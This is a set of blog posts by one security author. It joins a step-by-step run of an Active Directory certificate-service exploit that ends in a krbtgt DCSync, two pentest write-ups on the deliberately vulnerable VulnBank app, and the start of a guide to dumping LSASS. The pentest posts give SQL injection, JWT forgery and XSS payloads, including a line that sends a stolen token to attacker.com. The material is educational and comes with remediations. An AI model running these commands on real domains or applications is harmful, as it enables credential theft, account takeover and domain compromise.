For networking, both VMs need to be on the same subnet. VirtualBox’s plain NAT mode isolates each VM behind its own virtual router even when the IP ranges look identical, so switch both to Bridged Adapter in VM settings. Also worth checking that the DC does not have a hardcoded static IP from a previous lab setup that does not match the new subnet.

Getting the PoC Running

git clone https://github.com/aniqfakhrul/CVE-2026-54121
cd CVE-2026-54121

The full dependency list from the import block: impacket (core plus dcerpc.v5.nrpc, krb5.pac, krb5.ccache, ldap), pyasn1, cryptography, asn1crypto, pycryptodomex. Kali ships most of these. The problem is Impacket.

The script requires a class called smbserver.NetLogon that was added very recently to Impacket’s main branch. The distro-packaged version on Kali, even a 0.14.0.dev0 build, may not have it depending on when your system last pulled. The PoC tells you directly if this is the case:

[DEBUG] Rogue LSA/SMB preflight: installed Impacket lacks smbserver.NetLogon;
        the rogue SMB server cannot obtain the authenticated session key, so
        the CA callback is expected to fail

When this message appears, the Netlogon exchange will fail at the session key step, the CA will get an RPC error, and you will see Denied by Policy Module every run regardless of what you change on the CA side. The fix is pulling Impacket fresh from GitHub:

cd ~
git clone https://github.com/fortra/impacket

Then install it into a venv inside the exploit directory. This is important because sudo python3 resets your environment and loads root’s system Python instead of your user install. A venv with an explicit path bypasses that entirely:

cd ~/CVE-2026-54121
python3 -m venv venv --system-site-packages
source venv/bin/activate
pip install ~/impacket --no-build-isolation

--system-site-packages means the venv inherits your existing cryptography and ASN1 libraries so pip does not try to download them. --no-build-isolation uses your system’s existing setuptools instead of fetching one from PyPI.

Verify the right Impacket is loading:

python3 -c "from impacket import smbserver; import inspect; print(inspect.getsourcefile(smbserver.NetLogon))"

The path should point into ~/CVE-2026-54121/venv/. If it still points to /usr/lib/python3/dist-packages, the venv is not being picked up correctly.

Running the Exploit

sudo -E venv/bin/python3 certighost.py -d king.local -u URUFUS -p 'Password1234!' --dc-ip 192.168.1.50 --debug

-E preserves your current environment through the sudo privilege escalation so the venv stays in scope. Without it, sudo resets PATH and PYTHONPATH back to root’s defaults, which loads the system Impacket and puts you right back to the NetLogon preflight failure.

What the script does step by step:

1. Authenticates to LDAPS as the low-priv user and enumerates the domain to find the CA and target DC automatically
2. Creates a ghost computer account (GHOSTXXXXXX$) via SAMR using the low-priv user’s MachineAccountQuota allowance
3. Starts rogue SMB (port 445) and LDAP (port 389) listeners on the attacker machine
4. Submits a certificate request as the ghost account with cdc pointing at Kali and rmd set to the target DC’s DNS name
5. The CA connects back to Kali’s rogue SMB listener to validate the ghost account identity
6. The rogue listener authenticates the ghost account through the real DC over Netlogon, then feeds back the DC’s sAMAccountName, SID, and dNSHostName instead
7. The CA issues a certificate for the DC
8. PKINIT with that cert yields a .pfx, .ccache, and the DC’s NT hash

The debug output at the moment it works:

[DEBUG] Rogue SMB NetLogon: validating KING\WAFFLES$ (ParameterControl=0x820)
[DEBUG] Rogue SMB NetLogon: validation returned NTSTATUS 0x00000000 (STATUS_SUCCESS)
[DEBUG] Netlogon: secure channel established
[DEBUG] CA RPC: request_id=19, disposition=3 (CR_DISP_ISSUED)

CR_DISP_ISSUED means the cert was issued. Then:

[*] Requesting certificate (template=Machine, cdc=192.168.1.175)
    Saved: waffles.pfx
[*] PKINIT as WAFFLES$
[*] Got hash for WAFFLES$:
    WAFFLES$:aad3b435b51404eeaad3b435b51404ee:[REDACTED]
    ccache: waffles.ccache
[*] GGWP

DCSync

export KRB5CCNAME=waffles.ccache
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:[REDACTED] 'KING.local/WAFFLES$@192.168.1.50' -just-dc-user krbtgt

krbtgt hash out. Full domain ownership. Every Kerberos ticket in the forest can now be forged, every account impersonated, and the access persists across password resets until krbtgt itself is rotated twice.

A Note on the PoC Timeline

The README has a timeline section worth reading. Two fixes landed on July 28, the same day I was working through this.

The first, from GregDurys, fixed STATUS_NOLOGON_SERVER_TRUST_ACCOUNT errors that appeared when the CA was hosted on the same machine as the DC. The fix is an in-script hotpatch of the rogue SMB NetLogon path, setting the E bit (0x20) alongside the K bit (0x800) in ParameterControl per MS-NRPC spec. Without this, the Netlogon exchange cuts short mid-handshake and the CA returns RPC_S_SERVER_UNAVAILABLE. If you watch the traffic with tcpdump during a failing run, you will see the CA actually connecting back to Kali on port 445 and exchanging packets, then sending a TCP RST after a few hundred bytes. That is the session key step failing.

The second, from Hack0ura, fixed a KDC_ERR_CLIENT_NAME_MISMATCH that appears during the PKINIT step on CAs with EDITF_ATTRIBUTESUBJECTALTNAME2 enabled. The cert request now sets the SAN to the target DC’s DNS name instead of the ghost account’s.

Both patches are in the current version of the repo. Pull fresh before running.

Mitigations

Patch. The July 14, 2026 update validates the chase target before the lookup runs. This is the actual fix.

Disable the chase fallback if you cannot patch immediately. It is optional and not required for standard certificate enrollment:

certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force

Audit issued certificates. Check the CA’s issued cert log for Machine template certs issued to computer accounts with random-character names like GHOSTXXXXXX$, especially around the DC’s SID or DNS name in the subject. That pattern is a direct indicator of exploitation attempts.

Reduce MachineAccountQuota. Default is 10. If your environment does not need domain users creating machine accounts, set it to 0. This removes a building block that multiple AD abuse techniques rely on, not just this one:

Set-ADObject -Identity (Get-ADDomain).DistinguishedName -Replace @{"ms-DS-MachineAccountQuota"=0}

Treat AD CS as Tier 0. CA compromise and DC compromise have equivalent blast radius. If your CA host is not already isolated with the same access controls and monitoring as your domain controllers, this is the reminder.

What Did We Learn?

1. The ESC series needed misconfiguration. Certighost does not. Every previous AD CS attack technique required something to be wrong first. A bad template, an excessive right, something left unchecked. Certighost attacks the CA’s identity resolution logic itself, which works exactly as designed. The design just assumed it would never be talking to a rogue listener controlled by a low-priv domain user.

2. MachineAccountQuota is a building block for more than just RBCD attacks. It shows up in resource-based constrained delegation abuse, shadow credentials, and now Certighost. A default of 10 means any domain user can create 10 computer accounts with zero admin rights. If your environment does not need that, turn it off.

3. Bleeding edge CVEs need bleeding edge tooling. The distro-packaged Impacket on Kali was missing smbserver.NetLogon. The system-packaged version and the GitHub main branch are not always the same thing, even when both show 0.14.0.dev0 in pip. When a PoC fails with a preflight warning about a missing class, pulling the dependency from source and isolating it in a venv with sudo -E and an explicit Python path is the cleanest way to eliminate the environment ambiguity.

4. The packet capture tells you more than the tool output does. The generic “Denied by Policy Module” error was misleading. It looked like a CA policy rejection. Watching the actual traffic with tcpdump showed the CA was connecting back to Kali, sending data, then RST-ing mid-Netlogon. That pointed directly to the session key issue in the rogue SMB listener, which pointed to the missing NetLogon class. Learn to read the packets when the tool output is not telling you enough.

5. PoC code evolves fast after initial release. Two meaningful fixes landed on the Certighost repo within four days of publication. The gap between “PoC published” and “PoC reliably works against real targets” is often measured in days, not months. Checking the commit history and timeline section before running anything is always worth doing.

Written by 0x5h4q | 0x5h4q.github.io

Target: VulnBank — Deliberately Vulnerable Banking Application
Series: VulnBank Pentest Mini-Series
Post: 2 of idk yet ヽ(´ー｀)ﾉ Scope: http://localhost:5000

Quick Recap

Post 1 covered the initial access findings: unauthenticated Swagger docs exposing the full API surface, SQL injection bypassing the entire login mechanism, a weak JWT secret enabling token forgery, and stored XSS chained with localStorage token exposure for admin account takeover.

Post 2 goes deeper into the authenticated attack surface. With a valid session in hand, the real damage begins…and in a banking application, that damage has a very direct financial meaning.

Finding VB-005 — Broken Object Level Authorization (BOLA)

Severity: High
CVSS: 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-639 Authorization Bypass Through User-Controlled Key
OWASP: A01:2021 Broken Access Control

What Happened

Five API endpoints accept object identifiers directly from the URL path —> account numbers, user IDs, card IDs, without ever checking whether the authenticated user actually owns that resource. Changing the number in the URL is enough to access anyone else’s data.

This is BOLA in its most classic form: the API trusts the client to only request what belongs to them. It does not verify that trust at the server.

Confirmed Vulnerable Endpoints

Data access:

GET /check_balance/{account_number}
GET /transactions/{account_number}
GET /api/v3/user/{user_id}
GET /api/virtual-cards/{card_id}/transactions

Actions:

POST /api/virtual-cards/{card_id}/toggle-freeze

Reproducing It

Logged in as a standard user with user ID 2. Sent a balance request for the admin account:

GET /check_balance/ADMIN001

Response came back with the admin’s balance — $1,000,000.00. No authorization error. No indication the server questioned whether user ID 2 should be reading the admin’s balance.

Then pulled the full admin profile:

GET /api/v3/user/1

Response returned username, balance, and "is_admin": true for the admin account. From a standard user session.

BOLA — Accessing Admin Balance from Standard User Account:

BOLA — Accessing Admin Full User Profile (via API v3):

BOLA — Accessing full admin profile with is_admin flag exposed:

For the card endpoints, created a second user account (0x5h4q, user ID 3) with a virtual card (card ID 2). Then from the original session as qxvat7r:

POST /api/virtual-cards/2/toggle-freeze

Response: "Card frozen successfully" — froze another user’s card from a completely different account.

GET /api/virtual-cards/2/transactions

Returned the full transaction history for a card that doesn’t belong to the requesting user.

BOLA — Freezing Another User’s Virtual Card (qxvat7r freezing 0x5h4q’s card):

BOLA — Accessing Another User’s Card Transactions:

BOLA — Full Card Transactions Data Exposed:

Impact

Any authenticated user can enumerate account numbers and user IDs to access the entire user base’s financial data. Combined with the transaction history access, an attacker builds a complete picture of every account; balances, transfer history, card activity, etc…across the whole platform. The card freeze is a denial-of-service primitive against any user.

Remediation

Server-side ownership verification on every object-level endpoint. Before returning data or performing an action, confirm the authenticated user’s ID matches the resource owner. Use UUIDs instead of sequential identifiers to make enumeration harder. Centralize the authorization check in middleware rather than implementing it per-endpoint.

Finding VB-006 — Mass Assignment and Excessive Data Exposure

Severity: High
CVSS: 8.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
CWE: CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes + CWE-200 Exposure of Sensitive Information
OWASP: A04:2021 Insecure Design / A01:2021 Broken Access Control

What Happened

Two separate problems, both serious, both touching the virtual card system.

Mass Assignment: The card update endpoints blindly pass every field from the request body directly into the database UPDATE statement. An attacker can inject any column name into the request and the application will attempt to update it. The database errors themselves confirm the fields were processed.

Excessive Data Exposure: The card creation and listing endpoints return full unmasked 16-digit card numbers (PAN) and CVV codes in the API response. This is a direct PCI-DSS violation. CVV must never be stored after initial verification. PAN must be masked in all displays.

Mass Assignment — Card Limit Update

Sent an update request with unauthorized fields injected:

POST /api/virtual-cards/1/update-limit
{
  "card_limit": 999999,
  "is_admin": true
}

Response included the database error:

"column \"is_admin\" of relation \"virtual_cards\" does not exist"

The error confirms the application attempted to execute UPDATE virtual_cards SET is_admin = true. The column did not exist, so it errored — but if it had existed, the update would have succeeded.

Tried financial fields next:

{
  "limit": 50000,
  "card_number": "9999999999999999",
  "balance": 1000000
}

Again the SQL error confirmed all three fields were processed in the UPDATE statement.

Mass Assignment — is_admin Field Accepted by Card Limit Update:

Mass Assignment — Multiple Financial Fields Injected into UPDATE Statement:

Mass Assignment — Card Funding Exchange Rate

Funded a card with a manipulated exchange rate:

POST /api/virtual-cards/1/fund
{
  "amount": 1,
  "exchange_rate": 1000000
}

The application accepted and processed the user-supplied exchange_rate field with no validation. Client-controlled currency conversion means an attacker can credit any card with an arbitrarily inflated balance by supplying a fake exchange rate.

Excessive Data Exposure

Created a virtual card and inspected the response:

{
  "card_number": "4532871234567890",
  "cvv": "847",
  "expiry_date": "07/29"
}

Full PAN, full CVV, expiry — everything needed for card-not-present fraud, returned in plaintext in the API response. The card listing endpoint did the same for every card in the account.

Excessive Data Exposure — Full PAN, CVV, and Expiry in Card Creation Response:

Excessive Data Exposure — Full Card Details Unmasked in Card List Response:

Impact

Mass Assignment means an attacker who understands the database schema can overwrite any column on the virtual cards table; i.e balances, card numbers, admin flags, anything. The exchange rate manipulation provides direct financial gain: fund a card with $1 at a fake exchange rate of 1,000,000 and credit the card balance with $1,000,000.

The excessive data exposure is a PCI-DSS violation at baseline. Combined with BOLA (VB-005), an attacker can enumerate every card in the system and retrieve complete card details for all users in a single enumeration pass.

Remediation

For Mass Assignment: implement explicit allowlists per endpoint using DTOs or schema validation (Marshmallow or Pydantic). Only the fields defined in the allowlist should reach the database. Reject requests containing any unexpected field.

For Excessive Data Exposure: mask all PANs in responses (return only the last 4 digits). Never return CVV in any response after initial card creation. Never store CVV after authorization — PCI-DSS Requirement 3.2 is unambiguous on this.

Finding VB-007 — Insufficient Transaction Validation

Severity: Critical
CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)
CWE: CWE-20 Improper Input Validation + CWE-841 Improper Enforcement of Behavioral Workflow
OWASP: A03:2021 Injection / A04:2021 Insecure Design

What Happened

The money transfer endpoint at /transfer performs no validation on the transaction amount. Negative amounts are accepted and processed. The sign of the amount flips the direction of the transaction; debiting the recipient and crediting the sender instead of the other way around.

This is not a logic edge case. This is a financial theft primitive.

Reproducing It

Noted the starting balances of both accounts, then sent a transfer with a negative amount:

POST /transfer
{
  "to_account": "4664359451",
  "amount": -500
}

Response: "Transfer Completed"

The sender’s balance increased by $500. The recipient lost $500.

Sent money to another account and the platform reversed the transaction direction — stealing from the recipient and crediting the attacker. Zero-value transfers were also accepted with no error.

Starting Balances Before Attack:

Negative Amount Transfer Accepted — $500 Stolen:

Balances After Attack — Attacker Gained $500, Victim Lost $500:

Zero Amount Transfer Accepted:

Transaction History of both Users:

Impact

Any authenticated user can drain funds from any account they know the account number for (which BOLA already provides). Combined with VB-005, an attacker enumerates all accounts and systematically drains every balance on the platform. This is the most direct financial damage vector in the application.

Remediation

Reject any amount at or below zero at the API validation layer. Enforce minimum transaction amounts. Add balance sufficiency checks before processing. Implement daily transfer limits and idempotency keys. Use integer arithmetic (cents) rather than floating-point for all monetary values. Add database-level CHECK constraints as a last line of defence.

Finding VB-008 — Weak Password Reset Mechanism

Severity: Critical
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-640 Weak Password Recovery Mechanism + CWE-200 Exposure of Sensitive Information
OWASP: A07:2021 Identification and Authentication Failures

What Happened

The password reset functionality ships in three API versions. Version 1 returns the reset PIN directly in the JSON response. The v2 and v3 endpoints hide the PIN but use 3-4 digit numeric codes with no rate limiting and no account lockout. All three versions allow full account takeover. V1 does it in one request.

Part A — v1 PIN Exposure

Sent a password reset request for any username:

POST /api/v1/forgot-password
{"username": "qxvat7r"}

Response:

{
  "debug_info": {
    "pin": "501",
    "pin_length": 3,
    "username": "qxvat7r"
  }
}

The PIN is in the response. Used it immediately:

POST /api/v1/reset-password
{"username": "qxvat7r", "pin": "501", "new_password": "attacker123"}

Account taken over. No email access required. No interaction from the victim.

v1 API — PIN Exposed Directly in API Response:

Swagger Documentation Confirming v1 PIN Exposure, v2/v3 Weak PINs:

Part B — v2/v3 Brute-Force

v2 uses a 3-digit PIN (1,000 possible values). v3 uses a 4-digit PIN (10,000 possible values). Neither version implements rate limiting or account lockout. Burp Intruder or a simple Python loop exhausts the entire keyspace in seconds to minutes.

v2 API — PIN Hidden but Still 3-Digit (Brute-Forceable):

v3 API — PIN Hidden but 4-Digit (takes longer time but Brute-Forceable ):

API Version Comparison

None of the three versions are acceptable.

Impact

An unauthenticated attacker with only a username can take over any account on the platform via v1. No email access required. For v2 and v3, the brute-force window is trivially small with no rate limiting. This completely undermines the entire authentication model as regardless of password strength, any account can be reset from the outside.

Remediation

Disable the v1 endpoint immediately. Implement rate limiting across all versions —> maximum 3-5 attempts per account per hour. Replace the PIN mechanism entirely: generate a cryptographically random token, send it via email (not in the API response), set a 15-minute expiration. Remove all debug_info blocks from production responses. Audit all API versions for similar patterns.

Findings Summary — Posts 1 and 2

Eight findings across two posts. Four criticals, four highs. Every single authentication and authorization control in the application has failed.

What Did We Learn?

1. BOLA is the most common API vulnerability for a reason
Every endpoint that uses an identifier from the URL is a potential BOLA. The question is always: does the server verify ownership before responding? In VulnBank the answer was no across five endpoints. In real fintech APIs, this pattern shows up constantly — especially on older or rushed implementations where authorization was added as an afterthought.

2. Mass Assignment happens when the server trusts the client’s field names
Passing the raw request body directly to a database update query is the root cause. The application has no concept of which fields are allowed to change for a given endpoint. Allowlists at the schema validation layer are the only reliable fix.

3. Negative amounts in financial APIs are a theft primitive, not an edge case
The moment a transfer endpoint accepts negative values, the transaction direction can be reversed. This is not a subtle logic bug — it is a direct financial attack vector. Amount validation should be the first check before any transaction is processed.

4. Debug information in production API responses is a critical finding
The v1 forgot-password endpoint returned the reset PIN in a debug_info field. Debug output that makes development convenient becomes a critical vulnerability in production. Every debug_info, stack trace, and internal message that reaches the client is a potential finding.

5. API versioning without security review creates an attack surface
VulnBank ships three versions of the password reset API with progressively better but still inadequate security. Old API versions rarely get decommissioned and often bypass newer security controls applied to the current version. Always include all active API versions in scope during a pentest.

Next post: SSRF via the profile picture URL endpoint, path traversal in file uploads, and internal endpoint access.

Target: VulnBank — Deliberately Vulnerable Banking Application
Series: VulnBank Pentest Mini-Series
Post: 1 of others-_-
Scope: http://localhost:5000

What is VulnBank?

VulnBank is a deliberately vulnerable banking application built for practising application security testing, API security, and secure code review. It simulates a real fintech platform with features like user authentication, money transfers, virtual cards, bill payments, merchant APIs, and an AI customer support agent. All intentionally broken in realistic ways ฅ(^•ﻌ•^ฅ).

This series documents a full penetration test of VulnBank from first visit to complete compromise. Each post focuses on a specific vulnerability class. Every finding is documented with the actual request, the vulnerable code, and the remediation.

Post 1 covers the three findings that fell within the first hour of testing: unauthenticated API documentation exposure, SQL injection authentication bypass, and a critically weak JWT implementation.

Methodology

Testing followed the OWASP Web Security Testing Guide (WSTG) v4.2 and OWASP API Security Top 10 (2023). Tooling used throughout this post: Burp Suite for request interception and manipulation, curl for quick API probing, and jwt.io for token analysis.

Finding VB-001 — Unauthenticated API Documentation Exposure

Severity: High
CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-200 Exposure of Sensitive Information
OWASP: A05:2021 Security Misconfiguration

What Happened

First thing on any web application is to look for documentation. Browsed to /api/docs/ and the full Swagger UI loaded with zero authentication prompt. The OpenAPI spec at /static/openapi.json was equally open.

This is not just a low-severity “information disclosure.” The Swagger docs exposed the entire attack surface of the application in one page:

• Admin endpoints: /sup3r_s3cr3t_admin, /admin/create_admin, /admin/delete_account/{user_id}
• Internal SSRF endpoints: /internal/secret, /internal/config.json, /latest/meta-data/iam/security-credentials/vulnbank-role
• AI system endpoints: /api/ai/system-info, /api/ai/chat/anonymous

In a real fintech engagement, this cuts reconnaissance time from days to minutes. The attacker already knows every endpoint, every parameter, and every expected response format before they send a single malicious request.

Impact

Complete API surface mapping without authentication. An attacker discovers hidden admin endpoints, SSRF targets, and AI integration details before sending a single crafted request.

Remediation

Disable Swagger UI entirely in production. If internal API documentation is needed, deploy it behind authentication with role-based access control. Never document internal-only or administrative endpoints in a publicly accessible specification.

Finding VB-002 — SQL Injection Authentication Bypass

Severity: Critical
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-89 SQL Injection
OWASP: A03:2021 Injection

What Happened

The login endpoint at /login accepts a JSON body with username and password. Intercepted the request in Burp and sent it to Repeater. Replaced the username with a classic SQL injection payload:

{"username": "admin' OR '1'='1", "password": "anything"}

The response came back immediately with "is_admin": true and a valid JWT session token. Full administrative access without knowing any credentials.

The reason this works is simple: the application constructs the SQL query using Python string interpolation rather than parameterised statements. The injected payload modifies the query logic so that the WHERE clause evaluates to true for every row, and the first matching user (the admin) is returned.

With the admin JWT in hand, navigating to /sup3r_s3cr3t_admin confirmed full access to the administrative dashboard.

Vulnerable Code

The problem is exactly what you’d expect from a lazy dev(-_-)…string interpolation directly into a SQL query:

# database.py — vulnerable pattern
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

When the payload admin' OR '1'='1 is inserted, the executed query becomes:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

The OR '1'='1' condition is always true. The query returns the first user in the table — the admin.

Impact

An unauthenticated attacker gains complete administrative control over the banking platform. From that position, every other vulnerability in the application becomes accessible. This single finding enables full compromise of all customer accounts, transaction history, and virtual card data. In a production fintech environment, this is game over.

Remediation

Replace all string-interpolated queries with parameterised statements:

# Correct implementation
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

Additionally: implement input validation before database interaction, apply least-privilege to the database user account, and adopt an ORM with built-in sanitisation.

Finding VB-003 — Weak JWT Implementation: Signature Forgery and Privilege Escalation

Severity: Critical
CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-347 Improper Verification of Cryptographic Signature
OWASP: A07:2021 Identification and Authentication Failures

What Happened

After obtaining a JWT from the SQL injection bypass, inspecting the token at jwt.io revealed the signing secret as secret123 —> hardcoded directly in auth.py. Damn. The token also carried no expiration claim, meaning once issued it is valid forever.

Worse, reading the source code revealed the verification logic accepts the none algorithm alongside HS256. When initial verification fails, it falls back to accepting tokens with no signature at all.

Three critical failures stacked on top of each other:

1. Hardcoded weak secret (secret123) discoverable from source code
2. none algorithm accepted — signature can be stripped entirely
3. No exp claim — tokens never expire

Exploiting It

Using a legitimately registered low-privilege account:

1. Logged in normally and captured the JWT
2. Pasted the token into jwt.io
3. Decoded the payload and changed "is_admin": false to "is_admin": true
4. Entered secret123 in the signature verification field
5. Copied the re-signed token
6. Used the forged token to access /sup3r_s3cr3t_admin

Full admin access from a standard user account without touching the login form.

Vulnerable Code

# auth.py — three vulnerabilities in one file

JWT_SECRET = "secret123"           # Hardcoded weak secret (CWE-326)
ALGORITHMS = ['HS256', 'none']     # Accepts unsigned tokens (CWE-347)

def generate_token(user_id, username, is_admin=False):
    payload = {
        'user_id': user_id,
        'username': username,
        'is_admin': is_admin,
        # No 'exp' claim — tokens never expire (CWE-613)
        'iat': datetime.datetime.utcnow()
    }
    return jwt.encode(payload, JWT_SECRET, algorithm='HS256')

def verify_token(token):
    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=ALGORITHMS)
        return payload
    except jwt.exceptions.InvalidSignatureError:
        # Falls back to NO verification if signature fails
        try:
            payload = jwt.decode(token, options={'verify_signature': False})
            return payload
        except:
            return None

Impact

Any attacker who obtains the JWT secret from source code, the public repository, or brute force, can forge valid tokens for any account including administrators. Combined with the none algorithm acceptance, even without the secret, tokens can be stripped of their signature and modified freely. The missing expiration means stolen tokens provide permanent access with no automatic remediation path.

Remediation

import secrets

# Generate strong secret — store in environment variable, never in code
JWT_SECRET = os.environ.get('JWT_SECRET')

# Only accept HS256
ALGORITHMS = ['HS256']

def generate_token(user_id, username, is_admin=False):
    payload = {
        'user_id': user_id,
        'username': username,
        'is_admin': is_admin,
        'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1),
        'iat': datetime.datetime.utcnow()
    }
    return jwt.encode(payload, JWT_SECRET, algorithm='HS256')

def verify_token(token):
    # No fallback — reject anything that fails verification
    payload = jwt.decode(token, JWT_SECRET, algorithms=['HS256'])
    return payload

Additionally: implement token revocation for logout and privilege changes, and store secrets in a secrets manager rather than environment variables where possible.

Finding VB-004 — Stored XSS and JWT Token Theft via localStorage

Severity: High
CVSS: 8.3 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
CWE: CWE-79 Cross-Site Scripting + CWE-312 Cleartext Storage of Sensitive Information
OWASP: A03:2021 Injection / A04:2021 Insecure Design

What Happened

Two separate vulnerabilities that become a full account takeover chain when combined.

*First: the application stores JWT session tokens in localStorage. This means any JavaScript running on the page can read them. The source code even acknowledges this explicitly with a comment: // Vulnerability: Token stored in localStorage.

*Second**: multiple places in the application reflect user input directly into the DOM without sanitisation. The admin dashboard search bar is reflected XSS. The user profile bio field is stored XSS — meaning the payload persists in the database and fires for every user who views the profile.

Put them together: an attacker sets their bio to a payload that reads the admin’s JWT from localStorage and sends it to an attacker-controlled server. The next time any administrator views that profile through the user management panel, the payload fires silently and the admin’s session token is exfiltrated.

Part A — Reflected XSS in Admin Search

Log into the admin dashboard at /sup3r_s3cr3t_admin. In the user search bar, enter:

<img src=x onerror=alert('XSS')>

The alert fires immediately. No encoding, no sanitisation, direct DOM reflection.

Part B — Stored XSS via User Bio

Navigate to the profile section of any user account and update the bio with:

<img src=x onerror=alert('XSS')>

Save it. The payload is stored in the database and executes every time the profile is rendered…both for the owner and for any admin who views it.

Part C — JWT Exposed in localStorage

Open browser developer tools, navigate to Application, Local Storage, localhost:5000. The jwt_token key is sitting there in plaintext, readable by any JavaScript on the page.

Part D — Full Chain: Admin Account Takeover

The attacker sets their bio to:

<img src=x onerror="fetch('https://attacker.com/steal?token='+localStorage.getItem('jwt_token'))">

When any administrator visits the attacker’s profile through the user management panel, the script fires silently. The admin JWT is sent to the attacker’s server. The attacker now has a permanent admin session and since tokens have no expiration (VB-003), it stays valid indefinitely.

No interaction required beyond an admin doing their normal job.

Vulnerable Code

// Frontend — token stored where JS can reach it
localStorage.setItem('jwt_token', token);  // Vulnerability: Token stored in localStorage
 
// Admin dashboard search — direct DOM injection
document.getElementById('search-results').innerHTML = searchQuery;  // XSS vulnerability: Reflect user input directly

Impact

A single stored XSS payload silently compromises every administrator who views the attacker’s profile. Combined with VB-003 (no token expiration), the stolen credential is permanent. Combined with VB-002 (SQLi bypass), the attacker does not even need a registered account. They can bypass login, plant the payload, and wait.

Remediation

For XSS: replace all innerHTML assignments with textContent for user-controlled data. If HTML rendering is genuinely needed, sanitise through DOMPurify before insertion. Implement a Content Security Policy header to block inline scripts as a defence-in-depth measure.

For token storage: move the JWT into an HttpOnly, Secure, SameSite=Strict cookie. JavaScript cannot read HttpOnly cookies, which eliminates the entire theft vector regardless of XSS.

Findings Summary so far(+_+)

Three findings. Two hours of testing. Full administrative access achieved through two independent paths before a single feature of the application was even tested.

What Did We Learn?

1. Swagger docs in production is a critical misconfiguration
The Swagger UI reduced reconnaissance from hours to minutes. Every endpoint, every parameter, every response schema was documented and public. In a real engagement this would be the first finding in the report and would immediately accelerate everything that follows.

2. SQL injection in login endpoints is still happening in 2026
String interpolation directly into SQL queries is a decades-old mistake that still shows up in real applications. One payload and the entire authentication layer collapsed. Parameterised queries are not optional rather, they are the baseline.

3. JWT security is not just about using JWT
Using JWT for session management means nothing if the secret is secret123, the none algorithm is accepted, and tokens never expire. Each of these three flaws alone is critical. All three together mean any attacker can forge permanent admin tokens with zero effort. JWT implementation is as important as the choice to use JWT in the first place.

4. Vulnerabilities chain instantly
VB-001 told us the admin endpoint exists. VB-002 got us there via SQL injection. VB-003 gave us a second path to the same place through JWT forgery. Real attacks chain findings; finding one vulnerability is just the start of the map.

Next post: BOLA, BOPLA, and broken authorization across transaction history, virtual cards, and payment endpoints（^_^ ）.

Attacking & Defending LSASS

Lab: HackSmarter Guided Lab — Attacking LSASS
Difficulty: Easy
OS: Windows Server 2025
Topics: LSASS Dumping, Credential Extraction, Defense Hardening

Overview

Most AD compromises follow the same pattern after initial foothold: land on a box, dump LSASS, extract hashes or plaintext passwords, move laterally. LSASS is the crown jewel of post-exploitation on Windows. This lab covers three different methods to dump it, two tools to parse it offline, and the three defensive controls that actually stop these attacks.

The reason LSASS is such a high-value target is simple: every user who logs into a Windows machine leaves credential material behind in LSASS memory. Pull that memory and you pull their secrets : NTLM hashes for pass-the-hash, Kerberos tickets for pass-the-ticket, and sometimes cleartext passwords if legacy authentication is enabled.

What is LSASS?

LSASS (Local Security Authority Subsystem Service) is the Windows process that enforces security policy and handles all user authentication. It is the gatekeeper for every logon session on the machine.

When a user authenticates i.e whether interactively, over the network, or via a service, the credentials are processed and cached in LSASS memory. This includes:

• NTLM hashes — used for pass-the-hash attacks and offline cracking
• Kerberos tickets — used for pass-the-ticket and silver/golden ticket attacks
• Cleartext passwords — only present if WDigest authentication is enabled (legacy, common in older environments)
• DPAPI master keys — used to decrypt browser-saved credentials, certificates, and other secrets

In an Active Directory environment, LSASS becomes even more valuable because service accounts, admin accounts, and domain accounts that have logged into the machine all leave traces. A single LSASS dump from a busy domain workstation can yield dozens of credential sets, each one potentially unlocking another machine in the network.

LSASS runs as a protected process but requires Administrator or SYSTEM privileges to access. This is why privilege escalation always comes before credential dumping in a real attack chain.

Attack Methods

Method 1: Task Manager (GUI)

The simplest approach. Requires RDP or physical GUI access and local Administrator rights.

Open Task Manager as Administrator, click the Details tab, find lsass.exe, right-click and select “Create memory dump file.” The dump lands in %LOCALAPPDATA%\Temp\.

This method is low stealth — GUI artifacts are logged, the action is visible to anyone watching the screen, and modern EDR solutions flag Task Manager dumps of LSASS explicitly. Useful for lab environments, not for real engagements.

Method 2: ProcDump (Sysinternals)

ProcDump is a Microsoft-signed Sysinternals tool, which is its main advantage as it is often whitelisted by antivirus because it is a legitimate Microsoft utility.

# Download from Microsoft
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "procdump.zip"
Expand-Archive procdump.zip

# Dump LSASS
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Medium stealth. The binary is legitimate and signed but it was downloaded from the internet, which is a detection signal in monitored environments. Modern EDR solutions now specifically flag ProcDump being used against LSASS even if they would otherwise allow it.

Method 3: Native Binaries (LOLBins)

The stealthiest method. Uses only Windows built-in binaries, nothing new is brought onto the machine, no external downloads, no signed-but-suspicious tools.

# Get LSASS PID
tasklist | findstr lsass

# Dump using comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full

This works because comsvcs.dll exports a MiniDump function that calls into the same Windows API (MiniDumpWriteDump) that legitimate tools like Task Manager use. The difference is no new binary touches disk. The only requirement is SeDebugPrivilege, which Administrators hold by default.

This is the technique seen most often in real-world red team engagements and threat actor toolkits precisely because it leaves the smallest signature footprint.

Method Comparison

Transferring the Dump to Kali

